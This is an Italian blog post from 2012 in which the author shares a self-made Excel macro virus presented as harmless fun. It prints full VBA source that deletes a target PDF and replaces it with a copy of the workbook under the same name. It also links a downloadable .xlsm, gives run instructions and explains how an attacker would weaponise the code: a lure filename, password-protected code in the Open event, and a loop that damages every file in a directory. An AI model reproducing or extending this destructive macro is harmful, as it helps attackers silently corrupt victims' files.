Gianni Giaccaglini

Tricks & mini applics on WPF
posts - 46, comments - 0, trackbacks - 0

Un macro-virus innocuo ma in potenza assai insidioso

 

Un macro-virus innocuo ma in potenza assai insidioso

Per diletto, non certo per intenzioni malevoli, ho escogitato un virus da macro che ritengo del tutto originale.

Il procedimento consiste non tanto nel cancellare file, magari nella directory che ospita quelli di sistema, bensì nel sostituirli con archivi del tutto fasulli, lasciando in vita nomi ed estensioni originari. In tal modo l’utilizzatore colpito da questo malware potrebbe accorgersi del guaio troppo tardivamente.

Allo scopo di permettere una sperimentazione del modus operandi ho racchiuso un modellino ridotto all’essenziale che può scaricarsi da

http://www.giannigiaccaglini.it/download/Spazzat.zip

Si tratta di un oggetto “zippato”, che racchiude una directory \Spazzatura, a sua volta contenente il modello virale Spazzatura.xlsm nonché due banali archivi Adobe: Martire.pdf e MortireOrig.pdf, il primo dei due verrà assoggettato alla “cura” della macro virulenta, il secondo per ripristinare l’originale.

Per sperimentare il modello Excel, occorre semplicemente leggere ed eseguire le istruzioni contenute nel suo Foglio1, denominato Help, che si presenta così:

Operation Guide

0. In the \Spazzatura directory open Martire.pdf file (it is a trivial archive, only for testing purpose)

 

1. Alt+F11

2. In the VBA Editor Select TestCreateSpazz in Foglio1 module

3. Press F8 for step by step operation

4. At any step press Alt+F11 to see the situation in \Spazzatura directory. Etc...

5.  At the end, go to \Spazzatura directory

6. Open Martire.pdf: Adobe Reader 'll says this file is corrupted!

 

 

Normal operation

0. In the \Spazzatura directory open Martire.pdf, and if it is corrupted

1. Copy MartireOrig.pdf into a copy, then delete corrupted Martire.pdf and rename copy as Martire.pdf

2. Clic on this button:

 

Garbage ==> Martire.pdf

 

Il pulsante qui sopra imitato alla buona fa compiere in un sol colpo il crimine eventualmente testato passo passo in precedenza.

Nota. Un hacker serio e cattivo, anziché spiegare il marchingegno, darà al modello un nome accattivante e persino utile (tipo Break-even advanced.xls) oppure scriverà insulti nello spreadsheet. Oltre ovviamente a: 1) inserire il codice, protetto da password, nella macro dell’evento Open; 2) farle individuare la directory da colpire; 3) eseguire un ciclo For Each... Next che danneggi tutto.

Il codice VBA

Chi ha seguito le chiare istruzioni precedenti saprà già tutto. Per massima comodità sua e di quanti si limitano a leggere questo post riporto qui sotto le due macro in questione.

Sub CreateSpazz(FileMartire As String)

  If InStr(1, FileMartire, "Spazzatura") Then Exit Sub

  ChDir ThisWorkbook.Path ' Set ThisWorkbook dir. as current dir.

  On Error Resume Next ' Bypassa I Kill di file virali!

  Application.DisplayAlerts = False ' Canceal Excel msg on save operations

  ThisWorkbook.SaveAs "SpazzaturaBis.xlsm"

  MsgBox "Hello" ' For debug...

  ThisWorkbook.SaveAs "SpazzaturaTER.xlsm"

  MsgBox "Hello again" ' For debug...

  Kill FileMartire ' Goodby Martire!

  Name "Spazzatura.xlsm" As FileMartire

  FileCopy "SpazzaturaBis.xlsm", "Spazzatura.xlsm"

  ThisWorkbook.SaveAs "Spazzatura.xlsm"

  Kill "SpazzaturaBis.xlsm"

  Kill "SpazzaturaTER.xlsm"

End Sub

 

Sub TestCreateSpazz()

  ' Macro connessa al pulsante del Foglio Help

  CreateSpazz "Martire.pdf"

  ThisWorkbook.Close

End Sub

 

Commenti tacitiani. Le istruzioni, come tutti comprenderanno, non fanno che implementare l’algoritmo preannunciato, a furia di istruzioni archivicide (Kill) seguite da ridenominazioni (Name). Il punto chiave sta nel fatto – che sorprenderà i più! – che i due salvataggi coi nomi SpazzaturaBis.xlsm e SpazzaturaTer.xlsm non interrompono le istruzioni in corso, che proseguono regolarmente l’una dopo l’altra.

Nota. A onor del vero, Kill “SpazzaturaTER.xlsm”, non funziona (On Error Resume Next la fa passare, ma senza effetto). Ma che importa all’haker? Più modelli virali ci sono...

Print | posted on lunedì 19 novembre 2012 17:32 |

Feedback

No comments posted yet.

Post Comment

Title  
Name  
Email
Url
Comment   
Please add 4 and 8 and type the answer here:

Powered by:
Powered By Subtext Powered By ASP.NET